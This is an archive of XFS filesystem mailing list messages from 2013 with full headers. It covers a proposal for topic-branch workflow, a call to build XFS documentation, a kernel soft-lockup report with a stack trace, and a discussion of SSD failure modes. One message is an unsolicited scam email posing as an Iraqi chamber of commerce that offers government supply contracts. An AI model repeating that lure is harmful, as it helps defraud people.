----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From david@fromorbit.com Thu Dec 12 23:48:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A5C527F4E for ; Thu, 12 Dec 2013 23:48:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A43C8F8039 for ; Thu, 12 Dec 2013 21:48:38 -0800 (PST) X-ASG-Debug-ID: 1386913002-04cbb041686fbf50001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id hsiruKWxOvFoC6oe for ; Thu, 12 Dec 2013 21:36:43 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuURAHScqlJ5LHyk/2dsb2JhbABZgwo4gwShJQOPOYZsF3SCZhw7JDQFJQM0iAOjUJ8YFpM9BJgUkhWBPYIBKA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 16:06:14 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrLQ3-0003fH-EL for xfs@oss.sgi.com; Fri, 13 Dec 2013 16:36:11 +1100 Date: Fri, 13 Dec 2013 16:36:11 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC] Handling of reviewed patch series Message-ID: <20131213053611.GQ10988@dastard> X-ASG-Orig-Subj: [RFC] Handling of reviewed patch series MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386913002 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143058 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, I'd like to make a proposal and see what people think abou tit for managing patch series that I have been reviewed. What I'd like to do is publish the reviewed and signed-off topic branches that I built as in my local git tree as part of the review and test process. For example, I currently have two such branches right now - one for Christoph's log format changes, and another for Jeff's icluster cleanups. That is: $ git shortlog xfs-oss/master..guilt/tip-log-format Christoph Hellwig (10): xfs: remove duplicate code in xlog_cil_insert_format_items xfs: refactor xfs_buf_item_format_segment xfs: refactor xfs_inode_item_size xfs: refactor xfs_inode_item_format xfs: introduce xlog_copy_iovec xfs: format log items write directly into the linear CIL buffer xfs: format logged extents directly into the CIL xfs: remove the inode log format from the inode log item xfs: remove the dquot log format from the dquot log item xfs: remove the quotaoff log format from the quotaoff log item $ git shortlog xfs-oss/master..guilt/tip-icluster-factor Jie Liu (8): xfs: get rid of XFS_IALLOC_INODES macros xfs: get rid of XFS_INODE_CLUSTER_SIZE macros xfs: get rid of XFS_IALLOC_BLOCKS macros xfs: introduce a common helper xfs_icluster_size_fsb xfs: use xfs_icluster_size_fsb in xfs_bulkstat xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster xfs: use xfs_icluster_size_fsb in xfs_imap These branches are all based on the master branch as it currently stands. They have had each patch individually compile tested, they have been individually tested, and they've been merged into a test tree and tested along with every other branch I'm currently working on. What I'd like to do is publish each of the reviewed branch in the XFS git repos on oss.sgi.com as completed and ready-to-go code. This is a bit different to what we do now - normally Ben would come along and merge the series straight into the master branch, then update the for-next branch to point at it. The issue with this is that it then makes our lives more difficult when we get a bug fix that has to go into the master branch and be sent to linus for an -rc kernel before all the development code that is already checked into the master branch. What I propose is that the xfs-oss/master branch tracks the Linus -rc1 releases, and we never check code directly into the master branch except in exceptional circumstances. i.e. we try to only ever pull back down from Linus into it. Exceptional circumstances would be work that causes widespread rebasing, like all of the structural rework that we've done recently. The structural work would go into the master branch immediately after a -rc1 update, and the next cycle's work and topic branches then based on top of that. What this means is that the "for-next" branch is no longer based on the master branch - it becomes the development branch we work on, and is effectively a merge of all the topic branches. i.e like the -next tree, it is a branch that can be rebased without impacting the history of the code in the topic branches because it's just a merge target. What this means is that development can be done against the master branch without fear of conflicting with other changes that are being done. Testing, however, can target the for-next branch, and local integration testing can be done simply by merging a local topic branch into a local for-next branch.... Lines of development that overlap will generate conflicts at the for-next branch merge, and at that point we can decide how to deal with the problem. e.g. turn the conflicting topic branches into a single, larger topic branch, live with it, etc. When it comes to sending code upstream to Linus, we can either send a pull request per topic branch - Linus often likes to do merges himself - or we can merge them all into a single branch and ask Linus to pull that. The deciding factor may well be Linus himself... However, what this structure means is that urgent bugs fixes canbe placed into their own topic branches - an "urgent-*" prefix is often used for these by other maintainers - and Linus can pull directly from the topic branch without us having to worry about cherry-picking out of the middle of the master branch and all the pain that entails. It also allows us much more flexibility in managing the code and how it is send upstream. It also makes it possible to push code earlier for wider testing without being stuck with that code forever - it's trivial to drop a topic branch if it causes unexpected regressions or problems without leaving nasty reverts all over the history. Yes, this is a bit of a change in the way we do things, but it aligns much more closely to the distributed nature of how we develop the code. I'm going to push the two topic branches I mentioned above into the oss repository so people can have a look at them and get a feel for how such a process might work and so we can reference them during the discussion. Essentially, I want to speed up the rate at which we get code integrated without the risk of making a big mess by committing to code too quickly. Keeping code in topic branches like this solves that problem, and the fact that it closely aligns to my normal workflow makes it very appealing to me as a Maintainer.... Keep in mind that I want to do the same thing for major pieces of work with xfstests and xfsprogs - keep work in topic branches until they are tested and ready to go, then merge everything into the master branch and cut a release. This would enable a much faster xfsprogs release schedule because we make a release at any point in time without having to worry about whether we have work in progress in the master branch that needs completing before a release is done... Anyway, have a think and discuss - I'm going to push the branches I mentioned above.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From joe@kingscarpenter.com Thu Dec 12 23:53:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 28F957F37 for ; Thu, 12 Dec 2013 23:53:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1E9C1304059 for ; Thu, 12 Dec 2013 21:52:58 -0800 (PST) X-ASG-Debug-ID: 1386913908-04cb6c537d6f9910005-NocioJ Received: from gatewayemail02.hosteur.com (gatewayemail02.hosteur.com [217.16.10.251]) by cuda.sgi.com with ESMTP id gLkFjMSfDqqXjTXL for ; Thu, 12 Dec 2013 21:52:49 -0800 (PST) X-Barracuda-Envelope-From: joe@kingscarpenter.com X-Barracuda-Apparent-Source-IP: 217.16.10.251 Received: from clusterweb02.hosteur.com (unknown [10.10.0.11]) by gatewayemail02.hosteur.com (Postfix) with SMTP id DD33964F3D for ; Fri, 13 Dec 2013 05:45:51 +0000 (UTC) Received: by clusterweb02.hosteur.com (sSMTP sendmail emulation); Fri, 13 Dec 2013 06:51:15 +0100 Date: Fri, 13 Dec 2013 06:51:15 +0100 To: xfs@oss.sgi.com Subject: The Iraqi Asian Chamber of Commerce and Industry (IACCI) X-PHP-Originating-Script: 48:blog.php X-ASG-Orig-Subj: The Iraqi Asian Chamber of Commerce and Industry (IACCI) From: (IACCI) MIME-Version: 1.0 Content-Type: text/html X-VR-STATUS: OK X-VR-SCORE: 0 X-VR-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeeiledrleefgdegvdcutefuodetggdotefrucfrrhhofhhilhgvmecuoehnohhnvgeqnecuuegrihhlohhuthemuceftddtnecu X-Barracuda-Connect: gatewayemail02.hosteur.com[217.16.10.251] X-Barracuda-Start-Time: 1386913969 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.19 X-Barracuda-Spam-Status: No, SCORE=1.19 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143058 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag Message-Id: <20131213055258.0C7CB1296197@cuda.sgi.com> Good-day to you, The Iraqi Asian Chamber of Commerce and Industry (IACCI) is saddled with the responsibility of sourcing for companies/individuals from around the world to participate in Iraq Government supply contracts.This responsibility is required to be carried out transparently.Your company/self has been chosen for this purpose.Below in this link are list of some of the firms that have profited from the re-building process in Iraq: http://www.independent.co.uk/news/business/analysis-and-features/top-10-firms-profiting-from-iraq-469707.html I will reveal more procedural information to you upon your re-confirmation of your participation/interest. Thank you and kindly respond via my email address or fax number below. Yours Faithfully, Dr. Rahman Mahmoud. From david@fromorbit.com Fri Dec 13 01:05:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3D40C7F37 for ; Fri, 13 Dec 2013 01:05:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2D5DA304051 for ; Thu, 12 Dec 2013 23:05:40 -0800 (PST) X-ASG-Debug-ID: 1386918323-04cbb041666ff510001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id WVBk3YQl9opY8180 for ; Thu, 12 Dec 2013 23:05:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhoSAKqwqlJ5LHyk/2dsb2JhbABZgwo4gwShJwM/jnqGbBd0gkkdHBUDIyQ0BSUDNBaHbQ6jT58aFo0GgheEIASYFIExiSAEh0CBPYIBKA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 17:35:16 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrMoA-0003wy-U0 for xfs@oss.sgi.com; Fri, 13 Dec 2013 18:05:10 +1100 Date: Fri, 13 Dec 2013 18:05:10 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFD] XFS documentation project Message-ID: <20131213070510.GR10988@dastard> X-ASG-Orig-Subj: [RFD] XFS documentation project MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386918323 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143059 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, Documentation. Yeah, that bug-bear. Never up to date, never contains the right stuff, spread all over the place, in nasty formats that are hard to maintain, blah, blah, blah. We've got some stuff in publican format in a repo on kernel.org (http://git.kernel.org/cgit/fs/xfs/xfsdocs-xml-dev.git/), there's stuff on the wiki at xfs.org (e.g. the XFS FAQ), on oss.sgi.com. there's man pages in xfsprogs, Documentation/filesystems/xfs* in the kernel tree, and there's random user and admin guides written by SGI, RH, SuSE, and so on. They are all in different formats, under different licenses, and contain a heap of information that is either duplicated, conflicting, out of date, no longer relevant or just plain wrong. We don't have somewhere we we can record all the information that comes out of mailing list discussions - we're not capturing useful information about optimal setups for given workloads, when you should some feature, etc, and that's a loss for everyone. What knowledge we do have is mostly tied up in documents that are hard to modify, share or use as the basis for other documentation. And there is a huge amount of knowledge that is tied up in our heads that isn't documented anywhere. That's what I'd like to capture via an "upstream" XFS documentation project. What I envisiage is that we end up with with a repository that users, developers and tech writers contribute changes to, then distros pull the result back down, trim and "skin" it for their distro documentation. I'd like to see if we can get a project underway to acheive this goal. The documentation I'm thinking of includes administration guides, filesystem capabilities, strengths, weaknesses, best practices, optimisation techniques, triage and fault analysis, on-disk format specification, developer guides, education material, etc. I'm not thinking small here - we already have these things in various levels of detail spread all over the place. However, I'm not a documentation expert, so I'm kind of fishing around for ideas and ways to work towards this goal. I know what problems I'd like to solve and what outcomes I'd like see, but how to get there is something we need help to plan and implement. IOWs, this is an undertaking that I can not do alone, so consider this a call for help. Anyone willing to put their hat in the ring, or know someone who might be able to help? Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Fri Dec 13 01:15:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4E2AD7F3F for ; Fri, 13 Dec 2013 01:15:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C210304067 for ; Thu, 12 Dec 2013 23:15:48 -0800 (PST) X-ASG-Debug-ID: 1386918929-04cbb041696ffaa0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KPWap7I7WY9w7c6Z for ; Thu, 12 Dec 2013 23:15:29 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBD7EECN019273 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 02:14:16 -0500 Received: from gelk.kernelslacker.org (ovpn-113-191.phx2.redhat.com [10.3.113.191]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBD7E8vs017911 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 02:14:14 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id rBD7E80b006534; Fri, 13 Dec 2013 02:14:08 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id rBD7E7ph006533; Fri, 13 Dec 2013 02:14:07 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Fri, 13 Dec 2013 02:14:07 -0500 From: Dave Jones To: Linux Kernel Cc: xfs@oss.sgi.com Subject: XFS / writeback invoking soft lockup. Message-ID: <20131213071407.GA6527@redhat.com> X-ASG-Orig-Subj: XFS / writeback invoking soft lockup. Mail-Followup-To: Dave Jones , Linux Kernel , xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386918929 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 I can hit this pretty reliably on one of my slower test machines. (8gb ram, 1 slow sata disk) the machine is pretty responsive, and recovers after a while. anything we can do to shut it up ? BUG: soft lockup - CPU#2 stuck for 22s! [kworker/u8:2:8479] Modules linked in: rfcomm l2tp_ppp l2tp_netlink l2tp_core scsi_transport_iscsi can_bcm nfc caif_socket caif af_802154 phonet af_rxrpc bluetooth can_raw can llc2 pppoe pppox ppp_generic slhc irda crc_ccitt rds af_key rose x25 atm netrom appletalk ipx p8023 p8022 psnap llc ax25 cfg80211 rfkill nouveau video backlight mxm_wmi wmi i2c_algo_bit ttm drm_kms_helper tg3 drm kvm_intel kvm ptp i2c_core pps_core libphy lpc_ich mfd_core serio_raw pcspkr microcode parport_pc parport shpchp floppy rtc_cmos xfs libcrc32c raid0 irq event stamp: 510442980 hardirqs last enabled at (510442979): [] _raw_spin_unlock_irq+0x27/0x46 hardirqs last disabled at (510442980): [] apic_timer_interrupt+0x2f/0x3c softirqs last enabled at (510441282): [] __do_softirq+0x14b/0x38d softirqs last disabled at (510441277): [] do_softirq_own_stack+0x2e/0x34 CPU: 2 PID: 8479 Comm: kworker/u8:2 Not tainted 3.13.0-rc3+ #1 Hardware name: Dell Inc. Precision WorkStation 490 /0DT031, BIOS A08 04/25/2008 Workqueue: writeback bdi_writeback_workfn (flush-9:127) task: e9e458c0 ti: e4214000 task.ti: e4214000 EIP: 0060:[] EFLAGS: 00000286 CPU: 2 EIP is at lru_add_drain_cpu+0x19/0xc0 EAX: c1a988c0 EBX: 00000002 ECX: 00000001 EDX: 2ff6c000 ESI: 00000000 EDI: 00000001 EBP: e4215c54 ESP: e4215c48 DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 CR0: 8005003b CR2: 00000000 CR3: 29ed5000 CR4: 000007f0 Stack: e4215cb8 00000000 00000001 e4215c5c c112f8f8 e4215c68 c112f934 00000001 e4215d04 c112baba 00000000 0000000e 00000000 00000000 00000001 00000000 c1a9c980 f1a08980 c112ad83 00000000 e4215da4 00000067 00000003 00000001 Call Trace: [] lru_add_drain+0x1c/0x39 [] __pagevec_release+0x10/0x26 [] write_cache_pages+0x2f9/0x486 [] ? global_dirtyable_memory+0x73/0x73 [] ? get_lock_stats+0x1b/0x43 [] ? put_lock_stats.isra.30+0xd/0x22 [] ? lock_release_holdtime.part.31+0xa0/0xd5 [] generic_writepages+0x37/0x51 [] xfs_vm_writepages+0x3a/0x42 [xfs] [] do_writepages+0x1d/0x2c [] __writeback_single_inode+0x3f/0x4d7 [] ? writeback_sb_inodes+0x178/0x3d9 [] writeback_sb_inodes+0x1d5/0x3d9 [] __writeback_inodes_wb+0x7f/0xae [] wb_writeback+0x249/0x4c5 [] bdi_writeback_workfn+0x321/0x594 [] process_one_work+0x1ad/0x5ff [] ? process_one_work+0x175/0x5ff [] worker_thread+0xf6/0x31b [] ? process_one_work+0x5ff/0x5ff [] kthread+0xb5/0xc8 [] ? trace_hardirqs_on+0xb/0xd [] ret_from_kernel_thread+0x1b/0x28 [] ? insert_kthread_work+0x63/0x63 Code: e8 41 50 49 00 83 c4 04 5b 5e 5f 5d c3 e8 25 ad 48 00 55 89 e5 57 56 53 66 66 66 66 90 89 c3 b8 c0 88 a9 c1 8b 14 9d 80 33 8b c1 <01> d0 8b 08 85 c9 75 74 b8 80 88 a9 c1 8d 34 02 8b 3e 85 ff 75 From jeff.liu@oracle.com Fri Dec 13 01:30:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E69A7F3F for ; Fri, 13 Dec 2013 01:30:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0B19D304043 for ; Thu, 12 Dec 2013 23:30:36 -0800 (PST) X-ASG-Debug-ID: 1386919829-04cbb041697005d0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id dJK9vbSyMvkB4s3T (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 23:30:29 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBD7UPnv030430 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 07:30:26 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD7UO2t018420 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 07:30:24 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD7UNL7003598; Fri, 13 Dec 2013 07:30:24 GMT Received: from [192.168.1.105] (/114.248.199.38) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 12 Dec 2013 23:30:23 -0800 Message-ID: <52AAB78A.7060103@oracle.com> Date: Fri, 13 Dec 2013 15:30:18 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [RFD] XFS documentation project References: <20131213070510.GR10988@dastard> X-ASG-Orig-Subj: Re: [RFD] XFS documentation project In-Reply-To: <20131213070510.GR10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386919829 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143060 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- What an excellent idea!! Thanks for for bringing this up. I might not able to contribute much things to this project by writing document directly given that my English skill is poor :(, but I can translate them to Chinese version. Moreover, I definitely would like to get involved in the the doc review and forward this email to our internal Linux/XFS technical documentation experts to see their opinions. Thanks, -Jeff On 12/13 2013 15:05 PM, Dave Chinner wrote: > Hi folks, > > Documentation. Yeah, that bug-bear. Never up to date, never contains > the right stuff, spread all over the place, in nasty formats that > are hard to maintain, blah, blah, blah. > > We've got some stuff in publican format in a repo on kernel.org > (http://git.kernel.org/cgit/fs/xfs/xfsdocs-xml-dev.git/), there's > stuff on the wiki at xfs.org (e.g. the XFS FAQ), on oss.sgi.com. > there's man pages in xfsprogs, Documentation/filesystems/xfs* in > the kernel tree, and there's random user and admin guides written by > SGI, RH, SuSE, and so on. > > They are all in different formats, under different licenses, and > contain a heap of information that is either duplicated, > conflicting, out of date, no longer relevant or just plain wrong. > > We don't have somewhere we we can record all the information that > comes out of mailing list discussions - we're not capturing useful > information about optimal setups for given workloads, when you > should some feature, etc, and that's a loss for everyone. > > What knowledge we do have is mostly tied up in documents that are > hard to modify, share or use as the basis for other documentation. > And there is a huge amount of knowledge that is tied up in our > heads that isn't documented anywhere. > > That's what I'd like to capture via an "upstream" XFS documentation > project. What I envisiage is that we end up with with a repository > that users, developers and tech writers contribute changes to, then > distros pull the result back down, trim and "skin" it for their > distro documentation. > > I'd like to see if we can get a project underway to acheive > this goal. The documentation I'm thinking of includes administration > guides, filesystem capabilities, strengths, weaknesses, best > practices, optimisation techniques, triage and fault analysis, > on-disk format specification, developer guides, education material, > etc. > > I'm not thinking small here - we already have these things in > various levels of detail spread all over the place. However, I'm not > a documentation expert, so I'm kind of fishing around for ideas and > ways to work towards this goal. I know what problems I'd like to > solve and what outcomes I'd like see, but how to get there is > something we need help to plan and implement. > > IOWs, this is an undertaking that I can not do alone, so consider > this a call for help. Anyone willing to put their hat in the ring, > or know someone who might be able to help? > > Cheers, > > Dave. > From stan@hardwarefreak.com Fri Dec 13 03:46:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EF0487F3F for ; Fri, 13 Dec 2013 03:46:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E3367304062 for ; Fri, 13 Dec 2013 01:46:35 -0800 (PST) X-ASG-Debug-ID: 1386927975-04cbb04168704dc0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id NAXxW4OdAnuxiuM4 for ; Fri, 13 Dec 2013 01:46:15 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 112A66C184 for ; Fri, 13 Dec 2013 03:46:15 -0600 (CST) Message-ID: <52AAD766.8080405@hardwarefreak.com> Date: Fri, 13 Dec 2013 03:46:14 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN References: <20131211172725.GA4606@redhat.com> <68DD7157-6ACE-4548-A466-C1EBD31B6DEB@colorremedies.com> <20131211185746.GA11861@redhat.com> <2A0A637F-7ED6-4743-8791-E57E22306139@colorremedies.com> X-ASG-Orig-Subj: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN In-Reply-To: <2A0A637F-7ED6-4743-8791-E57E22306139@colorremedies.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1386927975 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/11/2013 6:19 PM, Chris Murphy wrote: ... > I suspect we've only just begun to see the myriad ways in which SSDs > could fail. I ran across this article earlier today: > http://techreport.com/review/25681/the-ssd-endurance-experiment-testing-data-retention-at-300tb > > What I thought was eye opening was a hashed file failing multiple > times in a row with *different* hash values, being allowed to rest > unpowered for five days and then passing. Eeek. Talk about a great > setup for a lot of weird transient problems with that kind of > reversal. What I can't tell is if there were read errors report to > the SATA driver, or if (different) bad data from a particular page > was sent to the driver. The drive that exhibited this problem, the Samsung 840, is (one of) the first on the market to use triple level cell NAND. The drive is marketed at consumers only. The anomaly occurred after 100 TB of writes, well beyond what is expected for a consumer drive. After the anomaly occurred the drive ran flawlessly up to 300 TB. The rest of the drives, including the Samsung 840 Pro, use two cell MLC NAND, and none of them have shown problems in their testing. They've been flawless. So I disagree with your statement "we've only just begun to see the myriad ways in which SSDs could fail". What we have here is what we've always had. A manufacturer using a bleeding edge technology didn't have all the bugs identified and fixed with the first rev 